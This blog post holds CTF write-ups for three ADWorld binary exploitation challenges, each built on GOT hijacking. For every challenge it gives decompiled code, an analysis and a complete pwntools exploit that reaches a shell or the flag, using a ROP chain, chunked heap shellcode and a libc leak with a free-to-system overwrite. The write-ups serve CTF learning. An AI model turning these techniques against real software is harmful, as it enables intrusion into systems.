ADWorld PWN Challenge Area Write-ups (GOT Hijacking)
TyeYeah Lv4

Challenges here need to hijack GOT.

Recho

Attachment: recho
Description: None

A ROP challenge with syscall and other tricks.

Information

Check:

1
2
3
4
5
6
7
8
9
$ file recho
recho: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6696795a3d110750d6229d85238cad1a67892298, not stripped
$ checksec recho
[*] '/root/recho'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
char nptr; // [rsp+0h] [rbp-40h]
char buf[40]; // [rsp+10h] [rbp-30h]
int v6; // [rsp+38h] [rbp-8h]
int v7; // [rsp+3Ch] [rbp-4h]

Init(*(_QWORD *)&argc, argv, envp);
write(1, "Welcome to Recho server!\n", 0x19uLL);
while ( read(0, &nptr, 0x10uLL) > 0 )
{
v7 = atoi(&nptr);
if ( v7 <= 15 )
v7 = 16;
v6 = read(0, buf, v7);
buf[v6] = 0;
printf("%s", buf);
}
return 0;
}

Useful addresses:

1
2
3
4
5
6
7
8
9
# flag string
.data:0000000000601058 flag db 'flag',0
# plt table
.got.plt:0000000000601018 off_601018 dq offset write ; DATA XREF: _write↑r
.got.plt:0000000000601020 off_601020 dq offset printf ; DATA XREF: _printf↑r
.got.plt:0000000000601028 off_601028 dq offset alarm ; DATA XREF: _alarm↑r
.got.plt:0000000000601030 off_601030 dq offset read ; DATA XREF: _read↑r
.got.plt:0000000000601038 off_601038 dq offset setvbuf ; DATA XREF: _setvbuf↑r
.got.plt:0000000000601040 off_601040 dq offset atoi ; DATA XREF: _atoi↑r

Analysis

The biggest challenge is, there is an endless while loop receiving inputs all the time. though we have a chance to do stack overflow (it reads unlimited chars to buf, which is only 0x30 bytes away from rbp), we dont have a chance to get out of while loop to exit.

Thankfully, in pwntools it has shutdown method to close the stream:

1
2
shutdown(self, direction)
"direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']"

However after closing stream, there will be no further interaction, so no way to leak libc or so. But this program has no system, so we can only build a one-time ROP chain to read flag and output it.

There is a tip for alarm:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ gdb -q /usr/lib/x86_64-linux-gnu/libc.so.6
pwndbg: loaded 177 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from /usr/lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug/.build-id/9c/9b4c997fbbff4ea98320bb8c286051f9ed6513.debug...
pwndbg> disassemble alarm
Dump of assembler code for function alarm:
0x00000000000cb2d0 <+0>: mov eax,0x25
0x00000000000cb2d5 <+5>: syscall
0x00000000000cb2d7 <+7>: cmp rax,0xfffffffffffff001
0x00000000000cb2dd <+13>: jae 0xcb2e0 <alarm+16>
0x00000000000cb2df <+15>: ret
0x00000000000cb2e0 <+16>: mov rcx,QWORD PTR [rip+0xf2b89] # 0x1bde70
0x00000000000cb2e7 <+23>: neg eax
0x00000000000cb2e9 <+25>: mov DWORD PTR fs:[rcx],eax
0x00000000000cb2ec <+28>: or rax,0xffffffffffffffff
0x00000000000cb2f0 <+32>: ret
End of assembler dump.

A syscall locates at the 5 offsets of the alarm start, we can use that by overwriting alarm in GOT as syscall (just add 0x5 to it is ok) and call it. It can be called GOT hijacking.
Search add gadgets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ROPgadget --binary recho --only "add|ret"
Gadgets information
============================================================
0x00000000004008af : add bl, dh ; ret
0x00000000004008ad : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004008ab : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004008ac : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400830 : add byte ptr [rax], al ; add cl, cl ; ret
0x00000000004008ae : add byte ptr [rax], al ; ret
0x00000000004006f8 : add byte ptr [rcx], al ; ret
0x000000000040070d : add byte ptr [rdi], al ; ret
0x0000000000400832 : add cl, cl ; ret
0x00000000004006f4 : add eax, 0x20098e ; add ebx, esi ; ret
0x000000000040070a : add eax, 0x70093eb ; ret
0x00000000004006f9 : add ebx, esi ; ret
0x00000000004005b3 : add esp, 8 ; ret
0x00000000004005b2 : add rsp, 8 ; ret
0x00000000004005b6 : ret

Unique gadgets found: 15

And search pop gadgets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ROPgadget --binary recho --only "pop|ret"
Gadgets information
============================================================
0x000000000040089c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008a0 : pop r14 ; pop r15 ; ret
0x00000000004008a2 : pop r15 ; ret
0x00000000004006fc : pop rax ; ret
0x000000000040089b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040089f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop rbp ; ret
0x00000000004008a3 : pop rdi ; ret
0x00000000004006fe : pop rdx ; ret
0x00000000004008a1 : pop rsi ; pop r15 ; ret
0x000000000040089d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b6 : ret

Unique gadgets found: 13

As for system call number you can check /usr/include/asm/unistd_32.h and /usr/include/asm/unistd_64.h for 32-bit and 64-bit.

1
2
3
4
5
6
7
8
9
$ more /usr/include/asm/unistd_64.h
#ifndef _ASM_X86_UNISTD_64_H
#define _ASM_X86_UNISTD_64_H 1

#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
...

Considering flag{xxxxxx} is saved flag and we have a string flag in .data, we can open (syscall number 2) it to get content.

So we build ROP chain to execute fd=open('flag',READONLY), read(fd,stdin_buffer,100) and write(1,bss,0x40) one by one.

Exploit

The script was written according to our exploit path:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
sh = process('./recho')
sh = remote('220.249.52.133',43839)
elf = ELF('./recho')

pop_rdi = 0x04008a3
pop_rdx = 0x04006fe
pop_rax = 0x04006fc
pop_rsi_r15 = 0x04008a1
add_rax = 0x04008ae
add_rcx = 0x04006f8
add_rdi = 0x040070d

# overwrite got
payload = 'A'*0x30+p64(0) + p64(pop_rax)+p64(5)
payload += p64(pop_rdi)+p64(elf.got['alarm'])
payload += p64(add_rdi)
# fd = open('flag', READONLY)
payload += p64(pop_rdi)+p64(elf.sym['flag']) # rdi = flag
payload += p64(pop_rsi_r15)+p64(0)+p64(0) # rsi = 0 (READONLY)
payload += p64(pop_rax)+p64(2) # rax = 2 (syscall number of open)
# syscall parameter passing order:rdi, rsi, rdx, r10, r9, r8
payload += p64(elf.plt['alarm'])
# read(fd,stdin_buffer,100) , move flag content to .bss
payload += p64(pop_rdi)+p64(3) # fd returned by open starts from 3
payload += p64(pop_rsi_r15)+p64(elf.bss())+p64(0) # rsi = bss
payload += p64(pop_rdx)+p64(100) # length
payload += p64(elf.plt['read'])
# write(1,bss,0x40) , print flag
payload += p64(pop_rdi)+p64(1)
payload += p64(pop_rsi_r15)+p64(elf.bss())+p64(0)
payload += p64(pop_rdx)+p64(0x40)
payload += p64(elf.plt['write'])

sh.recvuntil('Welcome to Recho server!\n')
sh.sendline(str(0x200))
payload = payload.ljust(0x200,'\x00')
sh.send(payload)
sh.recv()
sh.shutdown('send') # or: in, out, recv, read, write
sh.interactive()

note-service2

Attachment: note-service2
Description: None

A heap challenge with array out of bounds.

Information

Check:

1
2
3
4
5
6
7
8
9
10
$ file note-service2
note-service2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6c3a706907441fd73514dbca2d692e7a7c9139aa, stripped
$ checksec note-service2
[*] '/root/note-service2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

Pseudocode:
main:

1
2
3
4
5
6
7
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
initial();
banner();
entry();
return 0LL;
}

entry:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void entry()
{
__int64 savedregs; // [rsp+10h] [rbp+0h]

while ( 1 )
{
menu();
printf("your choice>> ");
read_num();
switch ( (unsigned int)&savedregs )
{
case 1u:
add();
break;
case 2u:
show();
break;
case 3u:
edit();
break;
case 4u:
del();
break;
case 5u:
exit(0);
return;
default:
puts("invalid choice");
break;
}
}
}

read_num:

1
2
3
4
5
6
7
8
9
int read_num()
{
char nptr; // [rsp+0h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
read_num_sub((__int64)&nptr, 0x10u);
return atoi(&nptr);
}

add:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int add()
{
int result; // eax
int v1; // [rsp+8h] [rbp-8h]
unsigned int v2; // [rsp+Ch] [rbp-4h]

result = dword_20209C;
if ( dword_20209C >= 0 )
{
result = dword_20209C;
if ( dword_20209C <= 11 )
{
printf("index:");
v1 = read_num();
printf("size:");
result = read_num();
v2 = result;
if ( result >= 0 && result <= 8 )
{
qword_2020A0[v1] = malloc(result);
if ( !qword_2020A0[v1] )
{
puts("malloc error");
exit(0);
}
printf("content:");
read_num_sub(qword_2020A0[v1], v2);
result = dword_20209C++ + 1;
}
}
}
return result;
}

del:

1
2
3
4
5
6
7
8
void del()
{
int v0; // ST0C_4

printf("index:");
v0 = read_num();
free((void *)qword_2020A0[v0]);
}

I rename some items in IDA results to simplify understanding process. show and edit are not implemented.

Analysis

As it only has add and del operations, it is unlikely to have UAF. The vulnerability exists in add because index v1 is not restricted, so we can write anywhere anything.
Given that NX is disabled we can write shellcodes and execute on the heap.

Our target shellcode should be like:

1
2
3
4
5
mov rdi,xxxx    # /bin/sh
mov rax,0x3b # execve (check `/usr/include/asm/unistd_64.h`)
mov rsi,0
mov rdx,0
syscall

A problem is: every note size is in [0,8], but shellcode is definitely longer than this, so we have to think about dividing them into small pieces and connecting them as a chain.

The basic structure of chunks in heap is:

Chunk ContentLength
Chunk 0prev_size0x8 bytes
size0x8 bytes
Content 0
old fd
0x8 bytes
old bk0x8 bytes
Chunk 1prev_size0x8 bytes
size0x8 bytes
Content 1
old fd
0x8 bytes
old bk0x8 bytes
Chunk 2......

However after we write 8 bytes as content to old fd, there is still 8-byte old bk behind, let alone the prev_size and size.
We have to use jmp (2 bytes long) for linking shellcode pieces from the former chunk to the next (they are adjacent if allocated in order), and remember the 8th byte is set 0 by program, so it is about 1+8+8+8=25 bytes away:

Chunk ContentLength
Chunk 0prev_size0x8 bytes
size0x8 bytes
0x5 bytes codes0x8 bytes
0x2 bytes jmp
0x1 bytes "0"
old bk0x8 bytes
Chunk 1prev_size0x8 bytes
size0x8 bytes
0x5 bytes codes0x8 bytes
0x2 bytes jmp
0x1 bytes "0"
old bk0x8 bytes
Chunk 2......

We use jmp short xxx to jump to a target address and the relation between them is: xxx = target_addr - current_addr - 2 (calculated from existing cases), so here xxx should be 2+1+8+8+8-0-2=25=0x19 (jmp short 0x19).

But add and del can execute codes on the heap neither, so we may need to hijack GOT item. Here I choose to hijack free in GOT because we can trigger it by choosing 4. del note.

GOT content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.got.plt:0000000000202000                 dq offset stru_201DF8
.got.plt:0000000000202008 qword_202008 dq 0 ; DATA XREF: sub_880↑r
.got.plt:0000000000202010 qword_202010 dq 0 ; DATA XREF: sub_880+6↑r
.got.plt:0000000000202018 off_202018 dq offset free ; DATA XREF: _free↑r
.got.plt:0000000000202020 off_202020 dq offset puts ; DATA XREF: _puts↑r
.got.plt:0000000000202028 off_202028 dq offset __stack_chk_fail
.got.plt:0000000000202028 ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0000000000202030 off_202030 dq offset printf ; DATA XREF: _printf↑r
.got.plt:0000000000202038 off_202038 dq offset memset ; DATA XREF: _memset↑r
.got.plt:0000000000202040 off_202040 dq offset read ; DATA XREF: _read↑r
.got.plt:0000000000202048 off_202048 dq offset __libc_start_main
.got.plt:0000000000202048 ; DATA XREF: ___libc_start_main↑r
.got.plt:0000000000202050 off_202050 dq offset malloc ; DATA XREF: _malloc↑r
.got.plt:0000000000202058 off_202058 dq offset setvbuf ; DATA XREF: _setvbuf↑r
.got.plt:0000000000202060 off_202060 dq offset atoi ; DATA XREF: _atoi↑r
.got.plt:0000000000202068 off_202068 dq offset exit ; DATA XREF: _exit↑r

The content stores in:

1
.bss:00000000002020A0 qword_2020A0    dq 0Ch dup(?)           ; DATA XREF: initial+18↑o

So it is not hard to control index to access GOT items, for example, set index as -(2020A0-202018)/8=-17 to access free in GOT. The whole process is like:
Whole Process
The last thing is to build mov rdi,xxxx # /bin/sh, we need to input it first, then move it to rdi. Considering we have to use free to trigger shellcodes, if we save /bin/sh in a chunk, before executing free the rdi will saves chunk address, which is also the address of /bin/sh.

See exploits to check more details.

Exploit

Hijack free in GOT:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
sh=process("./note-service2")
sh=remote("220.249.52.133",59324)
elf=ELF("./note-service2")
free_got=0x0202018
content_addr=0x2020A0

def add(i,content):
sh.recvuntil("your choice>> ")
sh.sendline('1')
sh.recvuntil("index:")
sh.sendline(str(i))
sh.recvuntil("size:")
sh.sendline('8')
sh.recvuntil("content:")
sh.send(content)

def free(i):
sh.recvuntil("your choice>> ")
sh.sendline('4')
sh.recvuntil("index:")
sh.send(str(i))

add(0,"/bin/sh")
add((free_got-content_addr)/8,asm("xor rax,rax")+"\x90\x90\xEB\x19")
add(1,asm("mov eax,0x3b")+"\xeb\x19")
add(2,asm("xor rdx,rdx")+'\x90\x90\xEB\x19')
add(3,asm("xor rsi,rsi")+'\x90\x90\xEB\x19')
add(4,asm("syscall").ljust(7,'\x90'))

free(0)
sh.interactive()

You may find that we use mov eax,0x3b instead of mov rax,0x3b, that is because mov eax,0x3b is 5 bytes long while mov rax,0x3b is 6 bytes long. But we must add a 2 bytes \xEB\x19 (jmp short 0x19), so 7 bytes only leave us 5 bytes to write. Therefore xor rax,rax is needed.

Or we can hijack atoi in GOT, which is a clever way:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#coding:utf8  
from pwn import *

sh = process('./note-service2')
sh=remote("220.249.52.133",59324)

context(os='linux',arch='amd64')
def create(index,size,content):
sh.sendlineafter('your choice>>','1')
sh.sendlineafter('index:',str(index))
sh.sendlineafter('size:',str(size))
sh.sendafter('content:',content)

def delete(index):
sh.sendlineafter('your choice>>','4')
sh.sendlineafter('index:',str(index))

#rax = 0 jmp short next_chunk
code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19')
#rax = 0x3B jmp short next_chunk
code1= (asm('mov eax,0x3B') + '\xeb\x19')
#rsi = 0 jmp short next_chunk
code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19')
#rdi = 0 jmp short next_chunk
code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19')
#system call
code4 = (asm('syscall').ljust(7,'\x90'))
'''''print len(code0)
print len(code1)
print len(code2)
print len(code3)
print len(code4)
'''
create(0,8,'a'*7)
create(1,8,code1)
create(2,8,code2)
create(3,8,code3)
create(4,8,code4)
# delete first chunk
delete(0)
# allocate first chunk and assign it to `atoi` item in `GOT`
create(-8,8,code0)
# getshell
sh.sendlineafter('your choice>>','/bin/sh')

sh.interactive()

babyfengshui

Attachment: babyfengshui.gz
Description: This shell is super useful! See if you can get the flag! The binary can be found on the server at /home/ctf/.

This challenge uses the rule of glibc memory releasing and allocation.

Information

Unzip first:

1
2
3
$ tar xzvf  babyfengshui.gz
./babyfengshui
./libc.so.6

Then check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ file babyfengshui
babyfengshui: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=cecdaee24200fe5bbd3d34b30404961ca49067c6, stripped
$ checksec babyfengshui
[*] '/root/babyfengshui'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
$ ./libc.so.6
GNU C Library (Debian GLIBC 2.19-18+deb8u3) stable release version 2.19, by Roland McGrath et al.
Copyright (C) 2014 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 4.8.4.
Compiled on a Linux 3.16.7 system on 2016-02-12.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<http://www.debian.org/Bugs/>.

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
void __cdecl __noreturn main()
{
char v0; // [esp+3h] [ebp-15h]
int v1; // [esp+4h] [ebp-14h]
size_t v2; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while ( 1 )
{
puts("0: Add a user");
puts("1: Delete a user");
puts("2: Display a user");
puts("3: Update a user description");
puts("4: Exit");
printf("Action: ");
if ( __isoc99_scanf("%d", &v1) == -1 )
break;
if ( !v1 )
{
printf("size of description: ");
__isoc99_scanf("%u%c", &v2, &v0);
add(v2);
}
if ( v1 == 1 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
delete(v2);
}
if ( v1 == 2 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
display(v2);
}
if ( v1 == 3 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
update(v2);
}
if ( v1 == 4 )
{
puts("Bye");
exit(0);
}
if ( user_index > 0x31u )
{
puts("maximum capacity exceeded, bye");
exit(0);
}
}
exit(1);
}

add:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
_DWORD *__cdecl add(size_t a1)
{
void *s; // ST24_4
_DWORD *v2; // ST28_4

s = malloc(a1);
memset(s, 0, a1);
v2 = malloc(0x80u);
memset(v2, 0, 0x80u);
*v2 = s;
ptr[user_index] = v2;
printf("name: ");
read_name(ptr[user_index] + 4, 124);
update(++user_index - 1);
return v2;
}

read_name:

1
2
3
4
5
6
7
8
9
10
11
12
unsigned int __cdecl read_name(char *a1, int a2)
{
char *v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
fgets(a1, a2, stdin);
v3 = strchr(a1, '\n');
if ( v3 )
*v3 = 0;
return __readgsdword(0x14u) ^ v4;
}

update:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned int __cdecl update(unsigned __int8 a1)
{
char v2; // [esp+17h] [ebp-11h]
int v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
if ( a1 < user_index && ptr[a1] )
{
v3 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (v3 + *ptr[a1]) >= ptr[a1] - 4 )
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
read_name(*ptr[a1], v3 + 1);
}
return __readgsdword(0x14u) ^ v4;
}

delete:

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned int __cdecl delete(unsigned __int8 a1)
{
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
if ( a1 < user_index && ptr[a1] )
{
free(*ptr[a1]);
free(ptr[a1]);
ptr[a1] = 0;
}
return __readgsdword(0x14u) ^ v2;
}

display:

1
2
3
4
5
6
7
8
9
10
11
12
unsigned int __cdecl display(unsigned __int8 a1)
{
unsigned int v2; // [esp+1Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
if ( a1 < user_index && ptr[a1] )
{
printf("name: %s\n", ptr[a1] + 4);
printf("description: %s\n", *ptr[a1]);
}
return __readgsdword(0x14u) ^ v2;
}

Analysis

We can see in delete() it set pointers as NULL which leads to no UAF.

From add() we can find that in ptr it stores a structure:
Struct
This explains why in update() it checks (v3 + *ptr[a1]) >= ptr[a1] - 4, because it looks right. The content of s should not disturb the size of chunk v2 (prev_size is used by s).

The question is: it works only when chunk v2 and chunk s are adjacent!!!

If we add 2 0x80 user first:
Step 1
Then free user0:
Step 2
Then add a 0x100 user, you will see:
Step 3
Now the v2 and s of user2 are not adjacent, so the restriction in update() can be bypassed.

Next we hijack GOT (without atoi, we use free), leak libc base address and calculate system to execute.

Exploit

The given libc is 2.19 but on remote that’s 2.23 (using Libcsearcher to get).

It got alarm() inside, and LibcSearcher takes too much time, so we use ELF module in pwntools to load libc and calculate address.

While /lib32/libc.so.6 on ubuntu16.04 is also improper, so I choose to use libc6-i386_2.23-0ubuntu10_amd64 in the database of LibcSearcher, and it works.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
from LibcSearcher import *
from ctypes import *

context(os='linux', arch='i386', log_level='debug')
sh = process('./babyfengshui')
sh = remote('220.249.52.133','57400')
elf = ELF('./babyfengshui')
libc = ELF('libc.so.6')
# libc = ELF('/lib32/libc.so.6')
libc = ELF('libc6-i386_2.23-0ubuntu10_amd64')

def add(size, name, text):
sh.sendlineafter('Action: ', '0')
sh.sendlineafter('size of description: ',str(size))
sh.sendlineafter('name: ',name)
sh.sendlineafter('text length: ',str(size))
sh.sendlineafter('text: ',text)

def delete(index):
sh.sendlineafter('Action: ', '1')
sh.sendlineafter('index: ', str(index))

def display(index):
sh.sendlineafter('Action: ', '2')
sh.sendlineafter('index: ', str(index))

def update(index, length, text):
sh.sendlineafter('Action: ', '3')
sh.sendlineafter('index: ', str(index))
sh.sendlineafter('text length: ', str(length))
sh.sendlineafter('text: ',text)

add(0x80,'index0','text0')
add(0x80,'index1','text1')
add(0x80,'index2','/bin/sh')
delete(0)
add(0x100,'index2','text2')

payload = 'a'*0x100+p32(0)+p32(0)+p32(0)+p32(0x91)+'b'*0x80+p32(0)+p32(0x91)+p32(elf.got['free'])
update(3,0x200,payload)
display(1)

sh.recvuntil('description: ')
free_addr = u32(sh.recv(4))
print hex(free_addr)


libc_addr = free_addr - libc.symbols['free']
system_addr = libc_addr + libc.symbols['system']
bin_sh_addr = libc_addr + libc.search('/bin/sh').next()
''' LibcSearcher takes too long
libc = LibcSearcher('free',free_addr)
libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')
'''

update(1,4,p32(system_addr))
delete(2)
sh.interactive()
Powered by Hexo & Theme Keep
Total words 135.7k